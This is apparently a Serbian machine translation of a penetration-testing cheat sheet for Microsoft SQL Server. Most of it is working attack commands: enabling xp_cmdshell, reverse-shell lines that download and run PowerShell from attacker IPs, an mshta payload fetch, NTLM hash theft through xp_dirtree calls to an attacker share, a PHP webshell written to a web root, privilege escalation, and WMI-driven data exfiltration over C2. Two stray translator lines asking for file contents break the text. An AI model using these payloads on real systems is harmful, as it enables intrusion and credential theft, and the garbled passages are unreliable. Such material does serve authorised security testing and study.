1433 - Pentesting MSSQL - Microsoft SQL Server

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Osnovne informacije

Iz wikipedia:

Microsoft SQL Server je sistem za upravljanje relacionim bazama podataka koji je razvio Microsoft. Kao server baze podataka, to je softverski proizvod čija je primarna funkcija čuvanje i preuzimanje podataka po zahtevima drugih softverskih aplikacija — koje mogu biti pokrenute ili na istom računaru ili na drugom računaru preko mreže (uključujući Internet).

Podrazumevani port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Pristup upravljanom Database-as-a-Service (DBaaS)

Sve što zavisi od “owning the host” (npr. privilege escalation, lateral movement, and OS command execution) prestaje da važi u DBaaS. Pentesting u ovim okruženjima mora da se prebaci na application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, ili loš network/VPC dizajn. Na primer, Amazon RDS documentation eksplicitno navodi da xp_cmdshell i TRUSTWORTHY database property nisu podržani.

Warning

Dobijate database endpoint, ne server. Cloud provider upravlja host OS-om, database engine binaries, i mnogim bezbednosnim politikama.

Default MS-SQL System Tables

• master Database: Ova baza je ključna jer beleži sve sistemske detalje za SQL Server instancu.
• msdb Database: SQL Server Agent koristi ovu bazu za upravljanje rasporedom upozorenja i poslova.
• model Database: Služi kao šablon za svaku novu bazu na SQL Server instanci — sve izmene poput veličine, collation, recovery model i dr. se primenjuju na novokreirane baze.
• Resource Database: Baza samo za čitanje koja sadrži sistemske objekte koji dolaze sa SQL Serverom. Ti objekti, iako fizički smešteni u Resource bazi, logički se prikazuju u sys shemi svake baze.
• tempdb Database: Služi kao privremeni skladišni prostor za transient objekte ili međurezultate.

Enumeracija

Automatska enumeracija

Ako ne znate ništa o servisu:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

Ako nemate credentials, možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete block accounts ako ne uspete pri loginu više puta koristeći postojeći username.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Enumeracija korisnika pomoću RID Brute Force

Možete da izbrojite korisnike domena preko MSSQL brute-forcing RIDs (Relative Identifiers). Ova tehnika je korisna kada imate validne kredencijale ali ograničene privilegije:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

I don’t have the README.md content. Please paste the file contents you want translated to Serbian.

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Parametri:

• --local-auth: Koristi lokalnu autentikaciju umesto domena
• --rid-brute <max_rid>: Brute force RIDs do navedenog broja (default: 4000)
• -u: Korisničko ime
• -p: Lozinka

Ova tehnika će enumerisati korisnike slanjem upita MSSQL serveru za informacije o nalozima povezane sa uzastopnim RIDs.

Ručna enumeracija

Prijava

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Uobičajena enumeracija

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Dohvati korisnika

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Get Permissions

1. Securable: Definisano kao resursi kojima upravlja SQL Server za kontrolu pristupa. Oni su kategorizovani na:

• Server – Primeri uključuju databases, logins, endpoints, availability groups i server roles.
• Database – Primeri obuhvataju database role, application roles, schema, certificates, full text catalogs i users.
• Schema – Obuhvata tables, views, procedures, functions, synonyms itd.

2. Permission: U vezi sa SQL Server securables, dozvole kao što su ALTER, CONTROL i CREATE mogu biti dodeljene principal-u. Upravljanje dozvolama se vrši na dva nivoa:

• Server Level koristeći logins
• Database Level koristeći users

3. Principal: Ovaj termin se odnosi na entitet kojem je dodeljena dozvola za securable. Principals uglavnom uključuju logins i database users. Kontrola pristupa securables ostvaruje se dodeljivanjem ili odbijanjem permisija ili uključivanjem logins i users u roles koje imaju prava pristupa.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Trikovi

Execute OS Commands

Caution

Obratite pažnju: da biste mogli da izvršavate komande, nije dovoljno samo da bude xp_cmdshell enabled, već je takođe potrebno imati EXECUTE permission on the xp_cmdshell stored procedure. Možete saznati ko (osim sysadmin-a) može da koristi xp_cmdshell pomoću:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-based udaljeno SQL prikupljanje (sqlcmd + CSV export)

Operatori mogu pivot sa IIS/app tier-a na SQL Servers koristeći WMI da izvrše mali batch koji se autentifikuje na MSSQL i pokreće ad‑hoc upite, izvozeći rezultate u CSV. Ovo održava prikupljanje jednostavnim i uklapa se u administratorske aktivnosti.

Primer mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Pozovite ga udaljeno pomoću WMI.

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

PowerShell alternativa

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Napomene

• sqlcmd možda nedostaje; pređite na osql, PowerShell Invoke-Sqlcmd, ili one‑liner koji koristi System.Data.SqlClient.
• Koristite navodnike pažljivo; dugi/kompleksni upiti je lakše dostaviti putem fajla ili kao Base64‑encoded argument koji se dekodira unutar batch/PowerShell stub-a.
• Exfil CSV preko SMB (npr., kopirajte sa \SQLHOST\C$\Windows\Temp) ili ga kompresujte i prebacite preko vašeg C2.

Dobijanje heširanih lozinki

SELECT * FROM master.sys.syslogins;

Steal NetNTLM hash / Relay attack

Treba da pokrenete SMB server da biste presreli hash koji se koristi pri autentifikaciji (impacket-smbserver or responder for example).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

Možete proveriti ko (osim sysadmins) ima dozvole za pokretanje tih MSSQL funkcija sa:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Korišćenjem alata kao što su responder ili Inveigh moguće je steal the NetNTLM hash.
Možete videti kako koristiti ove alate na:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Zloupotreba MSSQL pouzdanih linkova

Read this post da pronađete više informacija o tome kako zloupotrebiti ovu funkcionalnost:

MSSQL AD Abuse

Pisanje fajlova

Da bismo pisali fajlove koristeći MSSQL, moramo omogućiti Ole Automation Procedures, što zahteva administratorske privilegije, a zatim izvršiti neke stored procedures da kreiramo fajl:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Čitanje fajla pomoću OPENROWSET

Podrazumevano, MSSQL omogućava čitanje bilo kog fajla u operativnom sistemu za koji nalog ima pristup za čitanje. Možemo koristiti sledeći SQL upit:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Međutim, opcija BULK zahteva dozvolu ADMINISTER BULK OPERATIONS ili ADMINISTER DATABASE BULK OPERATIONS.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Vektor zasnovan na greškama za SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Čitanje fajlova i izvršavanje skripti (Python and R)

MSSQL bi mogao da vam dozvoli da izvršavate skripte u Python and/or R. Ovaj kod će se izvršavati pod drugim korisnikom nego onim koji koristi xp_cmdshell za izvršavanje komandi.

Example trying to execute a ‘R’ “Hellow World!” not working:

Example using configured python to perform several actions:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Čitanje registra

Microsoft SQL Server pruža više extended stored procedures koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa fajl sistemom pa čak i sa Windows Registry:

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

For više primera pogledajte originalni izvor.

RCE sa MSSQL User Defined Function - SQLHttp

Moguće je učitati .NET dll unutar MSSQL-a koristeći prilagođene funkcije. Ovo, međutim, zahteva dbo pristup, tako da vam treba veza sa bazom kao sa ili ulogom Administratora.

Pogledajte ovaj link da vidite primer.

RCE sa autoadmin_task_agents

Prema ovom postu, takođe je moguće učitati udaljeni dll i naterati MSSQL da ga izvrši nečim poput:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Molim vas nalepite sadržaj fajla src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md koji želite da prevedem na srpski.

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Ostali načini za RCE

Postoje i drugi načini da se dobije izvršavanje komandi, kao što su dodavanje extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, i external scripts.

MSSQL Privilege Escalation

Od db_owner do sysadmin

Ako se redovan korisnik dodeli ulozi db_owner nad bazom podataka koju poseduje admin (na primer sa) i ta baza je konfigurisana kao trustworthy, taj korisnik može zloupotrebiti ove privilegije za privesc jer stored procedures kreirane tamo mogu execute kao vlasnik (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Možete koristiti metasploit modul:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Ili PS skripta:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonacija drugih korisnika

SQL Server ima posebnu dozvolu, nazvanu IMPERSONATE, koja omogućava izvršnom korisniku da preuzme dozvole drugog korisnika ili login dok se kontekst ne resetuje ili dok sesija ne završi.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

Ako možete impersonate korisnika, čak i ako on nije sysadmin, trebalo bi da proverite dali korisnik ima pristup drugim databases ili linked servers.

Imajte na umu da, jednom kad ste sysadmin, možete impersonate bilo kog drugog:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Možete izvesti ovaj attack pomoću metasploit modula:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

ili pomoću PS skripte:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Korišćenje MSSQL za perzistenciju

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Ekstrakcija lozinki iz SQL Server Linked Servers

Napadač može izvući lozinke iz SQL Server Linked Servers iz SQL instanci i dobiti ih u plain tekstu, što napadaču daje kredencijale koji se mogu iskoristiti za dublje ukorenjavanje na cilju. Skripta za ekstrakciju i dekriptovanje lozinki koje su sačuvane za Linked Servers može se naći ovde

Potrebno je sprovesti neke zahteve i konfiguracije da bi ovaj exploit funkcionisao. Prvo, morate imati administratorska prava na mašini ili mogućnost upravljanja SQL Server konfiguracijama.

Nakon verifikacije vaših dozvola, potrebno je konfigurisati tri stvari, koje su sledeće:

1. Omogućiti TCP/IP na SQL Server instance;
2. Dodati parametar za pokretanje (Start Up parameter), u ovom slučaju biće dodat trace flag, koji je -T7806.
3. Omogućiti udaljenu administratorsku konekciju.

Da biste automatizovali ove konfiguracije, this repository ima potrebne skripte. Pored PowerShell skripte za svaki korak konfiguracije, repozitorijum takođe sadrži kompletnu skriptu koja kombinuje konfiguracione skripte i ekstrakciju i dekriptovanje lozinki.

Za dodatne informacije, pogledajte sledeće linkove u vezi ovog napada: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Lokalno eskaliranje privilegija

Korisnik koji pokreće MSSQL server će imati omogućenu privilegiju token SeImpersonatePrivilege.
Verovatno ćete moći da eskalirate na Administratora prateći jednu od ove dve stranice:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

• port:1433 !HTTP

Reference

• Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

HackTricks automatske komande

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

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